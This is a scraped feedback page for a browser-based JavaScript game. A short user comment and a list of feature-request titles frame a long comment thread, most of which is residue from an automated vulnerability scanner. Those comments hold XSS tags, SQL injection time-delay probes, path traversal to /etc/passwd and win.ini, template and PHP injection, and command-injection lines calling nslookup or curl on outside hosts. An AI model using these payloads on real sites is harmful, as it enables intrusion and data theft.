Feedback

Awesome by Anonymous - 147 months ago

This is a great URL bar javascript hack, I hope the designers make more apps like this.


I am definitely liking you guys on Facebook.

• HARIDAS LAXMAN BHOSALE

  Tc

• witek_123

  17290283

• Anonymous

  123451235

• lxbfYeaa

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• WfxYANoW

  ${9999877+10000241}

• ${10000326+9999826}

  1

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  1BFG0YrCorO

• 1VDyQ2GNSO

  1

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  response.write(9560061*9535608)

• Anonymous

  1

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• WfxYANoW

  '+response.write(9560061*9535608)+'

• WfxYANoW

  1

• WfxYANoW

  "+response.write(9560061*9535608)+"

• WfxYANoW

  /etc/shells

• response.write(9005895*9304670)

  1

• WfxYANoW

  ../1

• '+response.write(9005895*9304670)+'

  1

• WfxYANoW

  echo fsomtd$()\ liuhgs\nz^xyu||a #' &echo fsomtd$()\ liuhgs\nz^xyu||a #|" &echo fsomtd$()\ liuhgs\nz^xyu||a #

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• "+response.write(9005895*9304670)+"

  1

• WfxYANoW

  L6oGOXGH

• WfxYANoW

  &echo yzjyrp$()\ ckexnw\nz^xyu||a #' &echo yzjyrp$()\ ckexnw\nz^xyu||a #|" &echo yzjyrp$()\ ckexnw\nz^xyu||a #

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  ijbIjaN7: JqJWWHFp

• WfxYANoW

  1&n953933=v927566

• n8DMLrvx

  1

• WfxYANoW

  bxss.me

• TAydghZB: HKIPa4JC

  1

• file:///etc/passwd

  1

• SlNpN1A0bVE=

  1

• WfxYANoW&n954236=v998357

  1

• WfxYANoW

  1

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW

  1&echo uxmdcl$()\ ssedbm\nz^xyu||a #' &echo uxmdcl$()\ ssedbm\nz^xyu||a #|" &echo uxmdcl$()\ ssedbm\nz^xyu||a #

• WfxYANoW

  )

• ../WfxYANoW

  1

• WfxYANoW

  !(()&&!|*|*|

• Http://bxss.me/t/fit.txt

  1

• WfxYANoW

  ^(#$!@#$)(()))******

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  |echo tibmov$()\ sfekkp\nz^xyu||a #' |echo tibmov$()\ sfekkp\nz^xyu||a #|" |echo tibmov$()\ sfekkp\nz^xyu||a #

• )

  1

• WfxYANoW

  1

• WfxYANoW

  '.gethostbyname(lc('hitee'.'taanqlms2de0d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(65).chr(106).chr(77).'

• WfxYANoW

  1|echo kzsvng$()\ voxwfz\nz^xyu||a #' |echo kzsvng$()\ voxwfz\nz^xyu||a #|" |echo kzsvng$()\ voxwfz\nz^xyu||a #

• /etc/shells

  1

• WfxYANoW

  (nslookup -q=cname hittwwhbrvbti3b844.bxss.me||curl hittwwhbrvbti3b844.bxss.me))

• !(()&&!|*|*|

  1

• WfxYANoW

  $(nslookup -q=cname hitioishmczyf3616a.bxss.me||curl hitioishmczyf3616a.bxss.me)

• c:/windows/win.ini

  1

• WfxYANoW

  &nslookup -q=cname hittcsmkoaevuc2383.bxss.me&'\"`0&nslookup -q=cname hittcsmkoaevuc2383.bxss.me&`'

• WfxYANoW

  '"()

• WfxYANoW

  &(nslookup -q=cname hitkkazkibgkl953ba.bxss.me||curl hitkkazkibgkl953ba.bxss.me)&'\"`0&(nslookup -q=cname hitkkazkibgkl953ba.bxss.me||curl hitkkazkibgkl953ba.bxss.me)&`'

• WfxYANoW

  ".gethostbyname(lc("hitde"."qursexktb87fc.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(89).chr(105).chr(73)."

• WfxYANoW

  1'&&sleep(27*1000)*ozbtbi&&'

• bxss.me

  1

• WfxYANoW

  gethostbyname(lc('hitvp'.'alcmuatob895a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(82).chr(97).chr(80)

• WfxYANoW

  |(nslookup -q=cname hitaxlixytqkuce909.bxss.me||curl hitaxlixytqkuce909.bxss.me)

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  `(nslookup -q=cname hitlygrfstsfm2a905.bxss.me||curl hitlygrfstsfm2a905.bxss.me)`

• WfxYANoW

  ';print(md5(31337));$a='

• ^(#$!@#$)(()))******

  1

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  ";print(md5(31337));$a="

• WfxYANoW

  1"&&sleep(27*1000)*ejwfje&&"

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  '"

• xfs.bxss.me

  1

• WfxYANoW

  1'||sleep(27*1000)*gmazrk||'

• WfxYANoW

  ${@print(md5(31337))}

• WfxYANoW

  1"||sleep(27*1000)*wcktfy||"

• WfxYANoW

  <!--

• WfxYANoW

  1'"()&%<zzz><ScRiPt >nyOu(9311)</ScRiPt>

• WfxYANoW

  ;(nslookup -q=cname hithxdhdapbkr29275.bxss.me||curl hithxdhdapbkr29275.bxss.me)|(nslookup -q=cname hithxdhdapbkr29275.bxss.me||curl hithxdhdapbkr29275.bxss.me)&(nslookup -q=cname hithxdhdapbkr29275.bxss.me||curl hithxdhdapbkr29275.bxss.me)

• WfxYANoW

  ${@print(md5(31337))}\

• '"

  1

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hityrhopnfgvaa3d93.bxss.me||curl${IFS}hityrhopnfgvaa3d93.bxss.me)

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitlcqaxdueeu0d7c6.bxss.me||curl${IFS}hitlcqaxdueeu0d7c6.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitlcqaxdueeu0d7c6.bxss.me||curl${IFS}hitlcqaxdueeu0d7c6.bxss.me)&`'

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  1

• WfxYANoW

  '"()&%<zzz><ScRiPt >nyOu(9574)</ScRiPt>

• <!--

  1

• WfxYANoW

  bxss.me/t/xss.html?%00

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  1

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(100).concat(88).concat(117).concat(89)+(require"socket" Socket.gethostbyname("hitrf"+"upjudxvkd6c6f.bxss.me.")[3].to_s)+"

• ';print(md5(31337));$a='

  1

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(109).concat(65).concat(104).concat(83)+(require'socket' Socket.gethostbyname('hitua'+'qldcdblq216df.bxss.me.')[3].to_s)+'

• bxss.me/t/xss.html?%00

  1

• '"()

  1

• ";print(md5(31337));$a="

  1

• WfxYANoW'&&sleep(27*1000)*wbclig&&'

  1

• WfxYANoW

  comment

• WfxYANoW"&&sleep(27*1000)*rdvkav&&"

  1

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(109).concat(81).concat(120).concat(81)+(require'socket' Socket.gethostbyname('hitcw'+'lyzhfhfx35f32.bxss.me.')[3].to_s)

• WfxYANoW

  comment

• WfxYANoW'||sleep(27*1000)*fqzhkk||'

  1

• WfxYANoW

  19880804

• WfxYANoW

  comment/.

• ${@print(md5(31337))}

  1

• comment

  1

• ${@print(md5(31337))}\

  1

• comment

  1

• '.print(md5(31337)).'

  1

• WfxYANoW"||sleep(27*1000)*wlcfdl||"

  1

• comment/.

  1

• WfxYANoW

  bfg3982＜s1﹥s2ʺs3ʹhjl3982

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  1

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >nyOu(9506)</ScRiPt>

• WfxYANoW

  1<WQEOGV>I0FPI[!+!]</WQEOGV>

• WfxYANoW

  1<script>nyOu(9246)</script>

• WfxYANoW

  1<script>nyOu(9777)</script>9777

• WfxYANoW

  1<ScR<ScRiPt>IpT>nyOu(9674)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >nyOu(9786)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9783></ScRiPt>

• WfxYANoW

  1<ScRiPt >nyOu(9995)</ScRiPt>

• WfxYANoW

  1Zq1FB7JL

• WfxYANoW

  1<isindex type=image src=1 onerror=nyOu(9028)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9117'>

• WfxYANoW

  1<body onload=nyOu(9842)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=nyOu(9389)>

• WfxYANoW

  1<img src=xyz OnErRor=nyOu(9011)>

• WfxYANoW

  1<img/src=">" onerror=alert(9931)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%6E%79%4F%75%289685%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\nyOu(9334)\u003C/sCripT\u003E

• WfxYANoW

  1

• WfxYANoW

  -1 OR 2+139-139-1=0+0+0+1 --

• WfxYANoW

  1&lt;ScRiPt&gt;nyOu(9344)&lt;/sCripT&gt;

• WfxYANoW

  -1 OR 2+15-15-1=0+0+0+1

• WfxYANoW

  -1' OR 2+186-186-1=0+0+0+1 --

• WfxYANoW

  1<input autofocus onfocus=nyOu(9039)>

• WfxYANoW

  -1' OR 2+518-518-1=0+0+0+1 or 'HDrspCEI'='

• WfxYANoW

  -1" OR 2+111-111-1=0+0+0+1 --

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1}body{zzz:Expre/**/SSion(nyOu(9356))}

• WfxYANoW

  1i5tzl <ScRiPt >nyOu(9006)</ScRiPt>

• WfxYANoW

  1<WFSJAH>4N2YG[!+!]</WFSJAH>

• WfxYANoW

  1<ifRAme sRc=9977.com></IfRamE>

• WfxYANoW

  1<a8uOZn9 x=9992>

• WfxYANoW

  1<img sRc='http://attacker-9209/log.php?

• WfxYANoW

  1<aLCuWSD<

• WfxYANoW'"()&%<zzz><ScRiPt >nyOu(9520)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >nyOu(9023)</ScRiPt>

  1

• WfxYANoW9601102

  1

• bfg8291＜s1﹥s2ʺs3ʹhjl8291

  1

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >nyOu(9239)</ScRiPt>

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• WfxYANoW<W36UC5>OMVDU[!+!]</W36UC5>

  1

• WfxYANoW<script>nyOu(9618)</script>

  1

• WfxYANoW<script>nyOu(9099)</script>9099

  1

• WfxYANoW<ScRiPt >nyOu(9905)</ScRiPt>

  1

• WfxYANoW<ScRiPt >nyOu(9071)</ScRiPt>

  1

• WfxYANoW<body onload=nyOu(9345)>

  1

• WfxYANoW<img src=xyz OnErRor=nyOu(9783)>

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW<img/src=">" onerror=alert(9581)>

  1

• WfxYANoW\u003CScRiPt\nyOu(9718)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;nyOu(9616)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=nyOu(9827)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(nyOu(9085))}

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoWMOM7s <ScRiPt >nyOu(9155)</ScRiPt>

  1

• WfxYANoW<WE2EHD>O5SJP[!+!]</WE2EHD>

  1

• WfxYANoW<ifRAme sRc=9120.com></IfRamE>

  1

• WfxYANoW<aKfKYU0 x=9787>

  1

• WfxYANoW<img sRc='http://attacker-9078/log.php?

  1

• WfxYANoW<aNV9M9T<

  1

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1wY0SQwvV'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 345=(SELECT 345 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 855=(SELECT 855 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 906=(SELECT 906 FROM PG_SLEEP(15))--

• WfxYANoW

  1M1Kf1A09' OR 778=(SELECT 778 FROM PG_SLEEP(15))--

• WfxYANoW

  1k3ysrgnO') OR 73=(SELECT 73 FROM PG_SLEEP(15))--

• WfxYANoW

  15tLIGrry')) OR 694=(SELECT 694 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@ErDH4

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoW8EcxF9Xe

  1

• WfxYANoW

  1

• -1 OR 2+606-606-1=0+0+0+1 --

  1

• -1 OR 2+904-904-1=0+0+0+1

  1

• -1' OR 2+857-857-1=0+0+0+1 --

  1

• -1' OR 2+953-953-1=0+0+0+1 or 'tjk584LN'='

  1

• -1" OR 2+284-284-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoW5Dx74ax8'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@4IaX4

  1

• Peter Winter

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• @@hVbR8

  1

• @@IQnU2

  1

• svhnofck

  1

• qeredkue

  response.write(9396415*9307860)

• qeredkue

  '+response.write(9396415*9307860)+'

• tmcxgkui

  1

• vlxberft

  set|set&set

• qeredkue

  "+response.write(9396415*9307860)+"

• tmcxgkui

  1

• vlxberft

  $(nslookup pQdPJflx)

• response.write(9434147*9599235)

  1

• tmcxgkui

  gsMhF4XZ

• vlxberft

  &nslookup 2q987YtS&'\"`0&nslookup 2q987YtS&`'

• '+response.write(9434147*9599235)+'

  1

• jdtmpfgk

  wZW7Vfq8

• tmcxgkui

  -1 OR 2+652-652-1=0+0+0+1 --

• ovrqghks

  ../../../../../../../../../../etc/passwd

• set|set&set

  1

• "+response.write(9434147*9599235)+"

  1

• kxFCvo5R

  1

• tmcxgkui

  -1 OR 2+42-42-1=0+0+0+1

• ovrqghks

  ../../../../../../../../../../../../../../../proc/version

• $(nslookup aB0LFaQB)

  1

• jndesdqo

  ${10000456+10000449}

• pvrnlura

  1

• tmavivpy

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• tmcxgkui

  -1' OR 2+658-658-1=0+0+0+1 --

• ovrqghks

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• &nslookup dYq3XjHC&'\"`0&nslookup dYq3XjHC&`'

  1

• ${9999617+9999929}

  1

• tmavivpy

  1some_inexistent_file_with_long_name.jpg

• tmcxgkui

  -1' OR 2+924-924-1=0+0+0+1 or 'MOPPQijq'='

• ovrqghks

  ../../../../../../../../../../etc/passwd.jpg

• bFg2Nm1GcVA=

  1

• kkxinhaw

  1&n900442=v911665

• rkiunrcx

  )

• tmavivpy

  Http://testasp.vulnweb.com/t/fit.txt

• tmcxgkui

  -1" OR 2+570-570-1=0+0+0+1 --

• ovrqghks

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• rkiunrcx

  !(()&&!|*|*|

• tmavivpy

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• tmcxgkui

  if(now()=sysdate(),sleep(5),0)/*'XOR(if(now()=sysdate(),sleep(5),0))OR'"XOR(if(now()=sysdate(),sleep(5),0))OR"*/

• ovrqghks

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• vvwchpac

  '"()

• jrhltqfv&n979855=v906520

  1

• pvrnlura

  1

• rkiunrcx

  ^(#$!@#$)(()))******

• tmavivpy

  testasp.vulnweb.com

• tmcxgkui

  if(now()=sysdate(),sleep(15),0)/*'XOR(if(now()=sysdate(),sleep(15),0))OR'"XOR(if(now()=sysdate(),sleep(15),0))OR"*/

• ovrqghks

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• Anonymous

  1

• )

  1

• tmcxgkui

  (select(0)from(select(sleep(10)))v)/*'+(select(0)from(select(sleep(10)))v)+'"+(select(0)from(select(sleep(10)))v)+"*/

• ovrqghks

  /etc/passwd

• '"()

  1

• lednnuoa

  ;print(md5(acunetix_wvs_security_test));

• !(()&&!|*|*|

  1

• 1some_inexistent_file_with_long_name.jpg

  1

• tmcxgkui

  -1; waitfor delay '0:0:10' --

• ovrqghks

  %2fetc%2fpasswd

• ttqssrvr

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• lednnuoa

  ';print(md5(acunetix_wvs_security_test));$a='

• ^(#$!@#$)(()))******

  1

• Http://testasp.vulnweb.com/t/fit.txt

  1

• tmcxgkui

  -1); waitfor delay '0:0:10' --

• ovrqghks

  /.././.././.././.././.././.././.././../etc/./passwd%00

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• lednnuoa

  ";print(md5(acunetix_wvs_security_test));$a="

• fxtoulpk

  1

• xafbylwh

  http://hitxWVfZpwAUs.bxss.me/

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• tmcxgkui

  1 waitfor delay '0:0:10' --

• ovrqghks

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• pswbkcju

  1

• lednnuoa

  ${@print(md5(acunetix_wvs_security_test))}

• fxtoulpk

  comment

• testasp.vulnweb.com

  1

• http://hitD51rjKuVtC.bxss.me/

  1

• tmcxgkui

  8qQt5ufE'; waitfor delay '0:0:10' --

• ovrqghks

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• pswbkcju

  1'"

• lednnuoa

  ${@print(md5(acunetix_wvs_security_test))}\

• fxtoulpk

  comment

• blcfwnwt

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• qrfjvmvb

  /www.vulnweb.com

• tmcxgkui

  -1;select pg_sleep(10); --

• pswbkcju

  \

• ;print(md5(acunetix_wvs_security_test));

  1

• fxtoulpk

  comment/.

• /www.vulnweb.com

  1

• tmcxgkui

  -1);select pg_sleep(15); --

• ovrqghks

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• fxtoulpk

  1

• laosgirl

  '"

• tpokuhxp

  1'"()&%<acx><ScRiPt >u8YR(9594)</ScRiPt>

• tmcxgkui

  -1));select pg_sleep(15); --

• pswbkcju

  @@I19jQ

• ovrqghks

  file:///etc/passwd

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• comment

  1

• laosgirl

  <!--

• tmcxgkui

  nLThcsOK';select pg_sleep(15); --

• pswbkcju

  JyI=

• ovrqghks

  /\../\../\../\../\../\../\../etc/passwd

• ${@print(md5(acunetix_wvs_security_test))}

  1

• comment

  1

• '"

  1

• tpokuhxp

  '"()&%<acx><ScRiPt >u8YR(9705)</ScRiPt>

• tmcxgkui

  6cbesG5b');select pg_sleep(15); --

• ovrqghks

  WEB-INF/web.xml

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• comment/.

  1

• <!--

  1

• tmcxgkui

  yVjPVWdm'));select pg_sleep(15); --

• ovrqghks

  /WEB-INF/web.xml

• tpokuhxp

  1_9438

• tmcxgkui

  1

• pswbkcju

  (select convert(int,CHAR(65)))

• ovrqghks

  WEB-INF\web.xml

• tmcxgkui

  1

• pswbkcju

  1

• ../../../../../../../../../../etc/passwd

  1

• tpokuhxp

  acu1690＜s1﹥s2ʺs3ʹuca1690

• rqhJayfI

  1

• 1'"

  1

• -1 OR 2+307-307-1=0+0+0+1 --

  1

• \

  1

• -1 OR 2+207-207-1=0+0+0+1

  1

• ../../../../../../../../../../etc/passwd.jpg

  1

• -1' OR 2+171-171-1=0+0+0+1 --

  1

• @@AZWe5

  1

• tpokuhxp

  {{9999503*9999051}}

• -1' OR 2+997-997-1=0+0+0+1 or 'HDwviTy8'='

  1

• JyI=

  1

• -1" OR 2+508-508-1=0+0+0+1 --

  1

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• /etc/passwd

  1

• tpokuhxp

  1<ScRiPt >u8YR(9910)</ScRiPt>

• (select convert(int,CHAR(65)))

  1

• %2fetc%2fpasswd

  1

• tpokuhxp

  1<WAEPKN>TFKLP[!+!]</WAEPKN>

• 1 waitfor delay '0:0:7' --

  1

• firXAADG'; waitfor delay '0:0:15' --

  1

• tpokuhxp

  1<script>u8YR(9630)</script>

• xq0hBzPZ';select pg_sleep(15); --

  1

• nYFgZ09J');select pg_sleep(15); --

  1

• tpokuhxp

  1<ScR<ScRiPt>IpT>u8YR(9878)</sCr<ScRiPt>IpT>

• oSK7KeFa'));select pg_sleep(22); --

  1

• file:///etc/passwd

  1

• /\../\../\../\../\../\../\../etc/passwd

  1

• tpokuhxp

  1<ScRiPt >u8YR(9377)</ScRiPt>

• WEB-INF/web.xml

  1

• /WEB-INF/web.xml

  1

• tpokuhxp

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9615></ScRiPt>

• WEB-INF\web.xml

  1

• tpokuhxp

  1<ScRiPt >u8YR(9915)</ScRiPt>

• tpokuhxp

  1<video><source onerror="javascript:u8YR(9776)">

• tpokuhxp

  1<isindex type=image src=1 onerror=u8YR(9239)>

• tpokuhxp

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9679'>

• tpokuhxp

  1<body onload=u8YR(9551)>

• tpokuhxp

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=u8YR(9644)>

• tpokuhxp

  1<img src=xyz OnErRor=u8YR(9462)>

• tpokuhxp

  1<img/src=">" onerror=alert(9337)>

• tpokuhxp

  %31%3C%53%63%52%69%50%74%20%3E%75%38%59%52%289341%29%3C%2F%73%43%72%69%70%54%3E

• tpokuhxp

  1\u003CScRiPt\u8YR(9922)\u003C/sCripT\u003E

• tpokuhxp

  1&lt;ScRiPt&gt;u8YR(9262)&lt;/sCripT&gt;

• tpokuhxp

  1<input autofocus onfocus=u8YR(9739)>

• tpokuhxp

  <a HrEF=http://www.vulnweb.com></a>

• tpokuhxp

  <a HrEF=jaVaScRiPT:>

• tpokuhxp

  [url=http://www.vulnweb.com][/url]

• tpokuhxp

  1<img<!-- --> src=x onerror=alert(9637);//><!-- -->

• tpokuhxp

  1}body{acu:Expre/**/SSion(u8YR(9067))}

• tpokuhxp

  1<% contenteditable onresize=u8YR(9179)>

• tpokuhxp

  1_RkRNy <ScRiPt >u8YR(9606)</ScRiPt>

• tpokuhxp

  1<WMDFNO>WMW9D[!+!]</WMDFNO>

• tpokuhxp

  1<ifRAme sRc=9235.com></IfRamE>

• tpokuhxp

  1<GTPMAT x=9527>

• tpokuhxp

  1<img sRc='http://attacker-9129/log.php?

• tpokuhxp'"()&%<acx><ScRiPt >u8YR(9199)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >u8YR(9469)</ScRiPt>

  1

• tpokuhxp_9347

  1

• acu1097＜s1﹥s2ʺs3ʹuca1097

  1

• {{10000043*9999976}}

  1

• tpokuhxp<ScRiPt >u8YR(9059)</ScRiPt>

  1

• tpokuhxp<WCWXQD>RBNIB[!+!]</WCWXQD>

  1

• tpokuhxp<script>u8YR(9479)</script>

  1

• tpokuhxp<ScRiPt >u8YR(9689)</ScRiPt>

  1

• tpokuhxp<ScRiPt >u8YR(9763)</ScRiPt>

  1

• tpokuhxp<body onload=u8YR(9605)>

  1

• tpokuhxp<img src=xyz OnErRor=u8YR(9579)>

  1

• tpokuhxp<img/src=">" onerror=alert(9876)>

  1

• tpokuhxp\u003CScRiPt\u8YR(9861)\u003C/sCripT\u003E

  1

• tpokuhxp&lt;ScRiPt&gt;u8YR(9548)&lt;/sCripT&gt;

  1

• tpokuhxp<input autofocus onfocus=u8YR(9453)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• tpokuhxp}body{acu:Expre/**/SSion(u8YR(9818))}

  1

• tpokuhxp<% contenteditable onresize=u8YR(9252)>

  1

• tpokuhxp_If3Ne <ScRiPt >u8YR(9140)</ScRiPt>

  1

• tpokuhxp<WFAJKD>BTLKD[!+!]</WFAJKD>

  1

• tpokuhxp<ifRAme sRc=9762.com></IfRamE>

  1

• tpokuhxp<D78FTL x=9365>

  1

• tpokuhxp<img sRc='http://attacker-9080/log.php?

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 152 months ago
  Unvote

  8064 agree

• Hack Protection
  By Stealthkid - 144 months ago
  Unvote

  2858 agree

• Add to favorites
  By Anonymous - 155 months ago
  Unvote

  799 agree

• editro
  By critic - 155 months ago
  Unvote

  772 agree

• Missiles as an Third Weapon
  By Ram - 151 months ago
  Unvote

  747 agree

• Youtube B-wing achievement
  By chuck norris - 153 months ago
  Unvote

  746 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 111 months ago
  Unvote

  710 agree

• Change Name?
  By Anonymous - 155 months ago
  Unvote

  681 agree

• Slide ship in on start
  By Kickass guy - 155 months ago
  Unvote

  661 agree

• Mistaken Website Bug
  By CrazyDeathling - 153 months ago
  Unvote

  661 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 150 months ago
  Unvote

  645 agree

• Rank list & Leaderboards
  By StoleYourFood - 149 months ago
  Unvote

  632 agree

• What browsers are supported?
  By Jack - 151 months ago
  Unvote

  623 agree

• It doesn't work!
  By the destructor - 154 months ago
  Unvote

  622 agree

• Awesome
  By Anonymous - 147 months ago
  Vote

  603 agree

• Try Me does not work
  By Tim - 155 months ago
  Unvote

  592 agree

• Two major glitches
  By BeyPokéDig - 154 months ago
  Unvote

